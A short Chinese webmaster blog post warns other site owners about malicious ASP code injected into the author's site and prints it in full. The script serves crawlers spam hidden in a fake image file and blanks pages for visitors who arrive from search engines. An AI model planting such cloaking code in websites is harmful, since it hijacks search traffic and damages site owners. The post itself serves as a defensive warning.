一段让asp程序在搜素引擎打不开的代码
2018-09-06 11:30
一段让asp程序在搜素引擎打不开的代码,把我的网站害苦了,现在把它的原形呈现如下,望广大站长朋友们及早防范:
[vb]
<%
function isspider()
dim i,agent,searray
agent="agent:"LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
function fromse()
dim urlrefer,searray,i
urlrefer="refer:"LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function
if(isspider()) then
dim myfso,fileurl,filecon,myfile
fileurl=Server.MapPath("images/bg01.gif")
Set myfso=Server.CreateObject("Scripting.FileSystemObject")
if myfso.FileExists(fileurl) then
Set myfile=myfso.OpenTextFile(fileurl, 1)
filecon=myfile.readAll
response.write(filecon)
myfile.Close
Set myfile=Nothing
Set myfso=Nothing
response.end
end if
end if
if (fromse()) then
response.write("<br/>")
response.end
else
end if
%>
文章标题:一段让asp程序在搜素引擎打不开的代码
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